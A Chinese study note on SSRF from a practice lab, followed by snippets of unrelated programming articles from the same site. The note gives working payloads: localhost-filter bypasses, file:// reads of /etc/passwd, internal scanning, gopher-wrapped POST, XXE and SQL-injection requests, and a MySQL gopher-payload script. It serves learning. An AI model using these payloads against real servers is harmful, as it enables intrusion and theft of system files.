当前位置：首页 > news >正文

SSRF学习

news 来源：原创 2025/8/1 14:25:20

靶场

fofa搜：“重庆橙子科技”，里面找SSRF。

SSRF基础知识

绕过127限制

要查看127.0.0.1/flag.php，但是127被过滤。

绕过方法：使用不同的进制表示127.0.0.1即可。

二进制：01111111.00000000.00000000.00000001
八进制：17700000001
十六进制：7F000001
十进制：2130706433

八进制：http://017700000001/flag.php
十六进制：http://0x7F000001/flag.php
十进制：http://2130706433/flag.php

302重定向绕过ip地址限制

在本地搭建一个非局域网下的网站，网站中写入302重定向的代码，让目标访问此网站，然后即可重定向到127访问到flag文件。

<?php
header('location:http://127.0.0.1/flag.php');
?>

SSRF内网渗透

SSRF前置知识NAT

攻击目标：从外网无法访问的内部系统。

形成原因：大部分是由于服务端是由于服务端提供了从其他服务器应用获取数据的功能，且没有对目标地址做过滤或限制。

攻击方式：借助主机A来发起SSRF攻击，通过主机A向主机B发起请求，从而获取主机B的一些信息。

伪协议

file:///etc/passwd      读取文件passwd
file:///etc/hosts       显示当前操作系统网卡的ip
file:///proc/net/arp    显示arp缓存表（寻找内网其他主机）
file:///proc/net/fib_tire   显示当前网段路由信息

寻找存活的主机

获取到IP后，对内网主机进行扫码，使用arp协议。

访问一个其他的ip，如果进行访问，一定会发送arp请求，对方必然要回复。

使用BP直接爆破访问所有的ip
然后使用file:///proc/net/arp，读取存活的主机

寻找开放的端口

在IP后添加端口，时间长，不推荐。

使用集群炸弹攻击，ip和端口。根据应答的长度来判断端口是否打开。

命令执行

直接执行：

http://172.250.250.4/shell.php?cmd=ls

gopher和占位符：

gopher://172.250.250.4

post提交

靶场的http:172.250.250.5

首先查看源代码，找到POST传参的名称。

构造payload：

POST / HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-from-urlencoded
Content-Length: 12

ip=127.0.0.1

使用gopher伪协议，然后抓包：

将构造的payload放在参数后面：

将参数进行两次url编码即可。

进行命令执行：

在ip后加;要执行的命令即可。

SSRF配合其他漏洞

用SSRF进行XXE漏洞利用

file查网段，dict查端口，http目录扫描

查看源代码，发现对用户名和密码的处理类似于xml，构造payload，使用gopher协议模拟访问一下。

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml
Content-Length: 65

<user><username>admin</username><password>admin</password></user>

回复的结果也是xml的格式。

回显了用户名。构造payload代码：

POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Type: application/xml
Content-Length: 124（和下面的字符数量对应）

<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><user><username>&xxe;</username><password>admin</password></user>

得到文件。

用SSRF进行SQL注入

GET提交

直接在POST提交的链接后面跟参数，和SQL注入流程相同，然后将注入语句进行两次URL编码。将--+后面的+换成%20。

POST提交

和XXE漏洞一样，使用gopher伪协议，构造POST提交的payload

POST /Less-11 HTTP/1.1
Host: 172.250.250.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uname=admin&passwd=admin&submit=submit

用SSRF进行文件上传

multipart/from-data：媒体类型（multipart/from-data）的数据体由多个部分组成，这些部分由于一个固定的边界值分隔。

构造payload：

同样，gopher伪协议后再在后面加payload。进行两次URL编码。

利用SSRF进行文件包含

直接在URL中使用file伪协议，空格用%20代替。

利用SSRF对mysql进行未授权查询

目的：利用SSRF来执行自己想执行的mysql语句。

1、打开抓包：使用tcpdump（命令行）和wireshark（图形化）

tcpdump -i lo port 3306 -w mysql.pcapng

2、写入指令：

mysql -h127.0.0.1 -uroot --ssl-mode=DISABLED -e "show databases;"

3、把抓取的文件复制到本地，用wireshark打开

右键：跟踪流->TCP流
筛选过滤：源端口任意，目标端口3306

4、复制数据，去掉换行符

5、ASCII码转换URL编码。

转换脚本：

import sys
def results(s):a=[s[i:i+2] for i in range(0,len(s),2)]return "curl gopher://127.0.0.1:3306/_%"+"%".join(a)
if __name__=="__main__":s=sys.argv[1]print(results(s))

6、复制转换后的内容，更改ip

7、提交payload

SSRF学习

靶场 fofa搜：“重庆橙子科技”，里面找SSRF。 SSRF基础知识绕过127限制要查看127.0.0.1/flag.php，但是127被过滤。绕过方法：使用不同的进制表示127.0.0.1即可。二进制：01111111.00000000.00000000.00000001 八…...

编程日记 2025/8/1 14:25:20

使用virtualbox的HostOnly建立共享网络-实现虚拟机上网

目录环境描述解决方案具体步骤1.新建一个virtual host-only ethernet adapter2.设置windows的wifi信号网络共享3.确认winows宿主网络信息3.1.wifi适配器的信息3.2.虚拟网卡的信息3.3.确认virtualbox中虚拟网卡的ip地址 4.虚拟机网卡设置5.虚拟机网络设置5.1.本地连接设置5.2.u…...

编程日记 2025/8/2 0:33:01

对于RNN的理解 import torch import torch.nn as nn import torch.nn.functional as F# 手动实现一个简单的RNN class RNN(nn.Module):def __init__(self, input_size, hidden_size, output_size):super(RNN, self).__init__()# 定义权重矩阵和偏置项self.hidden_size hidden…...

编程日记 2025/8/2 0:33:02

Transformers是一种基于自注意力机制的神经网络模型

概述与发展历程背景介绍 Transformers是一种基于自注意力机制的神经网络模型，最早由Google团队在2017年的论文《Attention Is All You Need》中提出。该模型旨在解决传统循环神经网络（RNNs）在处理长距离依赖关系时的低效性问题&#xff0c…...

编程日记 2025/8/2 0:33:46

leetcode0078. 子集-medium

1 题目：子集官方标定难度：中给你一个整数数组 nums ，数组中的元素互不相同。返回该数组所有可能的子集（幂集）。解集不能包含重复的子集。你可以按任意顺序返回解集。示例 1： 输入&#xff1…...

编程日记 2025/7/29 13:01:04

C++编程希尔排序

步骤： 1.先选定一个小于N的整数gap作为第一增量，然后将所有距离为gap的元素分在同一组，并对每一组的元素进行直接插入排序。然后再取一个比第一增量小的整数作为第二增量，重复上述操作… 2.当增量的大小减到1时，就相当…...

编程日记 2025/8/2 0:36:00

网络操作系统与应用服务器

1.通过PTR实现IP地址到主机域名的映射 2.在windows中,可以使用事件查看器来游览日志文件 3.IMAP即交互式邮件存取协议,邮件客户端可以使用其同步服务器和客户端之间的邮件列表 4.DHCP Discover ->DHCP Offer->DHCP Request->DHCP Ack 5.在DNS的资源记录中,类型A表…...

编程日记 2025/8/2 0:33:45

不确定与非单调推理的模糊推理

模糊推理是利用模糊性知识进行的一种不确定性推理。模糊推理与前面讨论的不确定性推理的概率方法、可信度方法、D-S理论有着实质性的区别。前面那几种不确定性推理的理论基础是概率论，它所研究的事件本身有明确而确定的含义，只是由于发生的条件不充分，使得在条件与事件之间…...

编程日记 2025/8/1 12:25:33

Vite打包原理: Tree-shaking在Vue3项目中的实际效果

Vite打包原理: Tree-shaking在Vue3项目中的实际效果随着前端开发技术的不断进步，Vue框架在国内外都备受青睐。而在Vue3项目中，Vite作为一款新型的构建工具，其支持的Tree-shaking技术成为了开发者关注的焦点之一。那么，Vite中Tree…...

编程日记 2025/8/2 0:36:35

LangChain4j语言模型选型指南：主流模型能力全景对比

LangChain4j语言模型选型指南：主流模型能力全景对比前言在大语言模型应用开发中，选择合适的底层模型提供商是架构设计的关键决策。LangChain4j作为Java生态的重要AI框架，其支持的20模型提供商各有独特的优势场景。本文通过功能矩阵深度解…...

编程日记 2025/8/2 0:34:41

聚宽策略----国九条后中小板微盘小改，年化135.40%

最近在研究的聚宽策略，一般技术分析的我直接转qmt了，财务因子有一点麻烦，我直接利用我开发强大的服务器系统，直接读取信号，最近在优化一下系统，最近在开发对接bigquant的交易系统，完成了api数据…...

编程日记 2025/8/1 1:48:16

FreeRTOS中断管理

中断优先级任何中断的优先级都大于任务！ 在我们的操作系统，中断同样是具有优先级的，并且我们也可以设置它的优先级，但是他的优先级并不是从 0 ~ 5 ，默认情况下它是从 5 ~ 15 , 0 ~ 4 这5个中断优先级不是FreeRTOS控…...

编程日记 2025/7/31 20:03:27

键入网址到网页显示，期间发生了什么？

文章目录 2.键入网址到网页显示，期间发生了什么？2.1真实地址查询DNS：2.2**协议栈：**上半部分是负责收发数据的TCP和UDP协议，下面一半是用IP协议控制网络包收发操作，在互联网上传数据时，数据会倍…...

编程日记 2025/7/28 9:30:09

代理模式（Proxy Pattern）

文章目录 1. 概述1.1 基本概念1.2 为什么需要代理模式1.3 代理模式的四个角色2. 代理模式的类型2.1 静态代理2.2 JDK动态代理2.3 CGLIB动态代理3. 代理模式的UML类图和基本实现3.1 UML类图3.2 基本实现3.2.1 静态代理基本实现3.2.2 JDK动态代理基本实现3.2.3 CGLIB动态代理基本…...

编程日记 2025/7/28 1:27:54

9.QT-显示类控件|Label|显示不同格式的文本|显示图片|文本对齐|自动换行|缩进|边距|设置伙伴(C++)

Label QLabel 可以⽤来显⽰⽂本和图⽚属性说明textQLabel中的⽂本textFormat⽂本的格式.• Qt::PlainText 纯⽂本• Qt::RichText 富⽂本(⽀持html标签)• Qt::MarkdownText markdown格式• Qt::AutoText 根据⽂本内容⾃动决定⽂本格式pixmapQLabel 内部包含的图⽚.scaledCo…...

编程日记 2025/7/28 3:35:52

Python多任务编程：进程全面详解与实战指南

1. 进程基础概念 1.1 什么是进程？ 进程(Process)是指正在执行的程序，是程序执行过程中的一次指令、数据集等的集合。简单来说，进程就是程序的一次执行过程，它是一个动态的概念。想象你打开电脑上的音乐播放器听歌，…...

编程日记 2025/7/27 15:53:12

【英语语法】词法---副词

目录副词1. 副词的核心功能2. 副词的分类(1) 按意义分类(2) 按形式分类 3. 副词的构成(1) 形容词变副词的规则(2) 不规则变化 4. 副词的位置(1) 修饰动词时的位置(2) 多个副词的排列顺序 5. 副词的比较级与最高级(1) 规则变化（同形容词）(2) 不规则变化(…...

编程日记 2025/7/28 9:30:01

51c大模型~合集119

我自己的原文哦~ https://blog.51cto.com/whaosoft/13852062 #264页智能体综述 MetaGPT等20家顶尖机构、47位学者参与近期，大模型智能体（Agent）的相关话题爆火 —— 不论是 Anthropic 抢先 MCP 范式的快速普及，还是 OpenAI…...

编程日记 2025/7/30 18:28:51

Day3：个人中心页面布局前端项目uniapp壁纸实战

接下来我们来弄一下个人中心页面布局user.vue <template><view class"userLayout"><view class"userInfo"><view class"avatar"><image src"../../static/Kx.jpg" mode"aspectFill"></im…...

编程日记 2025/7/28 9:29:57

多元协同网络拓扑模型

一、组织逻辑架构解构 1.1 多元协同网络拓扑模型 （1）产业链价值链重构图谱阶段核心节点技术耦合系数商业转化周期基础层云服务供应商（阿里云/ECS集群）0.8512-24个月中台层开发者生态（百炼平台/API网关）…...

编程日记 2025/7/28 9:29:55

基于 Elasticsearch 8.12.0 集群创建索引

索引创建创建一个产品的索引解释： productId: 产品的唯一标识符，使用 keyword 类型，适合精确匹配和聚合操作。name: 产品名称，使用 text 类型进行全文搜索，同时包含一个 keyword 子字段用于精确匹配。description:…...

编程日记 2025/7/28 4:39:47

LeetCode283.移动零

给定一个数组 arr，编写一个函数将所有 0 移动到数组的末尾，同时保持非零元素的相对顺序。请注意 ，必须在不复制数组的情况下原地对数组进行操作示例 1: 输入: nums [0,1,0,3,12] 输出: [1,3,12,0,0] 示例 2 输入: nums [0] 输出: [0…...

编程日记 2025/7/27 12:21:54

select、poll、epoll实现多路复用IO并对比差异

目录一、select实现多路复用 1.select函数介绍 2.select优缺点 3.select使用示例二、poll实现多路复用 1.poll函数介绍 2.poll优缺点 3.poll使用示例三、epoll实现多路复用 1.epoll函数介绍 2.epoll工作原理 3.epoll工作模式 (1)水平触发LT模式 (2)边缘触发ET模…...

编程日记 2025/7/28 9:29:50

FastAPI-MCP

介绍开源地址： https://github.com/tadata-org/fastapi_mcp FastAPI-MCP 是一个开源项目，旨在简化 FastAPI 应用与现代 AI 代理（如基于大语言模型的系统）之间的集成。它通过自动将 FastAPI 的所有 API 端点暴露为符合 Model Co…...

编程日记 2025/7/30 16:32:11

Matlab 复合模糊PID

1、内容简介 Matlab 209-复合模糊PID 可以交流、咨询、答疑 2、内容说明略摘要:在并联型模糊 PID 复合控制器设计中,必须根据偏差大小及时地调整模糊控制部分和 PID 控制部分的比例,而这种较为复杂的控制策略利用普通的 Simulink 模块是很难实现的.采用S-函数来解决这个问…...

编程日记 2025/7/30 17:07:41

javaSE.队列

链表：屁股入队，头部出队链尾入队👇 是while(tail.next!null) 👇 链首出队（head.next)👇 仅获取队首👇...

编程日记 2025/7/28 9:29:43

c++基础·左值右值

一、左值与右值的本质特征 1. 基础定义左值 (lvalue) ✅ 可出现在赋值运算符左侧 ✅ 可被取地址（有明确存储位置） ✅ 通常为具名变量（如int a 10;中的a） 右值 (rvalue) ❌ 不可出现在赋值左侧 ❌ 不可取地址（无持久…...

编程日记 2025/7/28 4:48:12

From RAG to Memory: Non-Parametric Continual Learning for Large Language Models

从RAG到记忆：大语言模型的无参数持续学习原文链接：https://arxiv.org/pdf/2502.14802 Code: https://github.com/OSU-NLP-Group/HippoRAG 🧠 HippoRAG 2 流程概述 1. 离线索引（Offline Indexing）在此阶段，HippoRAG 2 构建一个开放式知识图谱（Open KG）以存储知识…...

编程日记 2025/7/30 12:23:14

STM32配置系统时钟

1、STM32配置系统时钟的步骤 1、系统时钟配置步骤先配置系统时钟，后面的总线才能使用时钟频率 2、外设时钟使能和失能 STM32为了低功耗，一开始是关闭了所有的外设的时钟，所以外设想要工作，首先就要打开时钟，所以后面…...

编程日记 2025/7/31 16:49:26

Docker 安装配置教程(配置国内源）

## 一、Windows 安装 Docker Desktop 1. 系统要求： - Windows 10 64位：专业版、企业版或教育版 - 必须开启 Hyper-V 和容器功能 - 至少 4GB 内存 2. 安装步骤： - 访问 Docker 官网下载 Docker Desktop - 双击安装程序 - 按照向导完成安装 - 重启电脑 ## 二、macOS 安装 Dock…...

编程日记 2025/7/28 9:29:35

016-C语言内存函数

C语言内存函数文章目录 C语言内存函数1. memcpy2. memmove3. memset4. memcmp 注意： 使用这些函数需要包含 string.h头文件。 1. memcpy void * memcpy ( void * destination, const void * source, size_t num );从source指向的位置开始，向后复制num…...

编程日记 2025/7/28 8:11:41

[FPGA]设计一个DDS信号发生器

一、DDS DDS（Data Distribution Service） 是一种面向实时分布式系统的通信中间件标准，专为高性能、高可靠性、低延迟的数据传输场景设计。它由对象管理组织（OMG） 制定并维护，广泛应用于物联网（…...

编程日记 2025/7/28 10:41:36

MySQL 线上大表 DDL 如何避免锁表（pt-online-schema-change）

文章目录 1、锁表问题2、pt-online-schema-change 原理3、pt-online-schema-change 实战3.1、准备数据3.2、安装工具3.3、模拟锁表3.4、解决锁表 1、锁表问题在系统研发过程中，随着业务需求千变万化，避免不了调整线上MySQL DDL数据表的操作&#xff0c…...

编程日记 2025/7/28 4:20:55

脚本中**通配符用法解析

在文件路径匹配中，** 是一种特殊的通配符（Glob Pattern），主要用于表示递归匹配任意层级的子目录。这种语法常见于以下场景： 1. 典型应用场景 .gitignore 文件： **/__pycache__ 表示匹配项目根目录下所有层…...

编程日记 2025/8/1 8:53:50

5 提示词工程指南-计划与行动

5 提示词工程指南-计划与行动计划与行动 Cline 有两种模式： Plan 描述目标和需求、提问与回答、讨论、抽象项目的各个方面、确定技术路线、确定计划计划与确认相当于架构师，不编写代码Act 按计划编写代码按照计划编码Plan 模式的本质是构建实际编码前的上下文，Act 的本…...

编程日记 2025/7/31 17:31:08

62页华为IPD-MM流程：市场调研理论与实践方案精读【附全文阅读】

本文围绕市场调研展开，介绍其是联系市场和企业的纽带，具有收集陈述事实、解释信息、预测市场变化的作用，在 IPD 产品开发流程各阶段有不同应用。市场调研类型包括定性和定量研究，一般程序涵盖定义问题、拟定计划、抽样设计等多个环节。常用调研方法多样，各有特点和适用项目…...

编程日记 2025/8/1 9:36:24

(一)mac中Grafana监控Linux上的CPU等(Node_exporter 安装使用)

机器状态监控(监控服务器CPU,硬盘，网络等状态) Node_exporter安装在被测服务器上，启动服务各步骤的IP地址要换为被测服务器的IP地址Prometheus.yml的 targets值网页访问的ip部分grafana添加数据源的URL 注意：只需要在被监听的服务器安装 n…...

编程日记 2025/7/27 14:58:25

STM32单片机入门学习——第44节: [13-1] PWR电源控制

写这个文章是用来学习的,记录一下我的学习过程。希望我能一直坚持下去,我只是一个小白,只是想好好学习,我知道这会很难，但我还是想去做！ 本文写于：2025.04.20 STM32开发板学习——第44节: [13-1] PWR电源控制前言开发板说明引用解答和科普一…...

编程日记 2025/7/29 21:28:20

Windows 10 上安装 Spring Boot CLI详细步骤

在 Windows 10 上安装 Spring Boot CLI 可以通过以下几种方式完成。以下是详细的步骤说明： 1. 手动安装（推荐） 步骤 1：下载 Spring Boot CLI 访问 Spring Boot CLI 官方发布页面。下载最新版本的 .zip 文件（例如 sp…...

编程日记 2025/8/1 1:53:39

WEMOS LOLIN32 开发板引脚布局和技术规格

🔗 快速链接ESP32 Development Boards, Sensors, Tools, Projects and More https://megma.ma/wp-content/uploads/2021/08/Wemos-ESP32-Lolin32-Board-BOOK-ENGLISH.pdf WEMOS LOLIN32 Development Board Details, Pinout, Specs WEMOS LOLIN32 Development Board …...

编程日记 2025/8/1 1:48:27

【AI 加持下的 Python 编程实战 2_07】第七章：基于 Copilot 完整演示问题分解能力在实际问题中的落地应用

【全新第二版《Learn AI-assisted Python Programming》封面】写在前面问题分解能力在 AI 辅助编程中具有举足轻重的作用。但是怎样分解才算合理有效呢？本章从一个具体的案例切入，完整展示了 GitHub Copilot 在自顶而下设计论的指导下圆满完成既定任务…...

编程日记 2025/7/31 15:44:23

React 路由入门秘籍：BrowserRouter 的江湖之道

前言各位江湖中人，今日咱们聊一门流传在前端江湖的神秘绝学：<BrowserRouter>。此技出自 React 路由门派，专修客户端路由之道，擅长在 Web 世界中轻功跳转、闪转腾挪，悄无声息间掌控页面切换。若你是构建现代 Web 应用的侠客，这篇秘籍堪比九阳真经，一经参悟，便…...

编程日记 2025/7/28 9:29:17

软件安装，systemctl命令，软连接

yum是centos里面的（apt是Ubuntu的） yum：RPM软件管理器，用于自动化安装配置Linux软件，并可以自动解决依赖问题语法：yum 【-y】【install | remove | search | restart 】软件名称 -y：自动确…...

编程日记 2025/8/1 17:01:52

SpringBoot Actuator健康检查：自定义HealthIndicator

文章目录引言一、Spring Boot Actuator健康检查概述二、自定义HealthIndicator的必要性三、实现自定义HealthIndicator四、高级健康检查配置五、实现自定义健康状态和响应码总结引言 Spring Boot Actuator是Spring Boot框架中用于监控和管理应用程序的强大功能模块。它提供了…...

编程日记 2025/7/30 5:26:54

注意力机制(np计算示例)单头和多头

为了更好理解注意力机制里面的qkv矩阵，使用np来演示。单头注意力 import numpy as np import math# 初始化输入 X X np.array([[[1, 2, 3], [4, 5, 6]]])# 初始化权重矩阵 WQ、WK、WV WQ np.array([[1, 0], [0, 1], [0, 0]])WK np.array([[1, 0], [0, 1], [0,…...

编程日记 2025/7/31 11:07:36

生成对抗网络（Generative adversarial network——GAN）

文章目录 1. 前言1.1 判别器和生成器的作用？2.2 个人总结 2. 核心代码示例2.1 训练判别器网络2.2 训练生成器网络参考文章 1. 前言生成对抗网络的原文：Generative Adversarial Nets，该论文的精读视频：生成对抗网络GAN开山之作论…...

编程日记 2025/7/28 10:41:26

CSGHub开源版本v1.6.0更新

CSGHub v1.6.0 带来了多项核心功能升级与性能优化，显著增强了对大模型推理、微调、评估等流程的支持，并进一步完善了推理服务与用户交互体验。插件化推理与训练引擎框架推理、微调和评估引擎现已全面模块化，支持通过配置文件灵活接入多种引…...

编程日记 2025/7/28 10:41:24

Redis日常学习（一）

我的Redis学习笔记：从命令行到性能调优 Redis Redis（Remote Dictionary Server）本质上是一个基于内存的键值存储系统. 安装配置Redis的过程非常简单： # Ubuntu/Debian安装Redis sudo apt-get update sudo apt-get install red…...

编程日记 2025/7/29 10:45:25

Unity3D仿星露谷物语开发37之浇水动画

1、目标当点击水壶时，实现浇水的动画。同时有一个水从水壶中流出来的特效。假如某个grid被浇过了，则不能再浇水了。。如果某个grid没有被dug过，也不能被浇水。 2、优化Settings.cs脚本增加如下内容： public static float…...

编程日记 2025/7/28 4:15:57

JavaScript 一维数组转不含零的两个数

问题描述： /*** param {number} n* return {number[]}*/ var getNoZeroIntegers function(n) {for(let i 1;i<n;i){if(String(i).indexOf(0) -1&&String(n-i).indexOf(0) -1){return [i,n-i]}}};String类型indexOf()函数如果找不到字串则返回-1&…...

编程日记 2025/7/31 1:42:48

靶场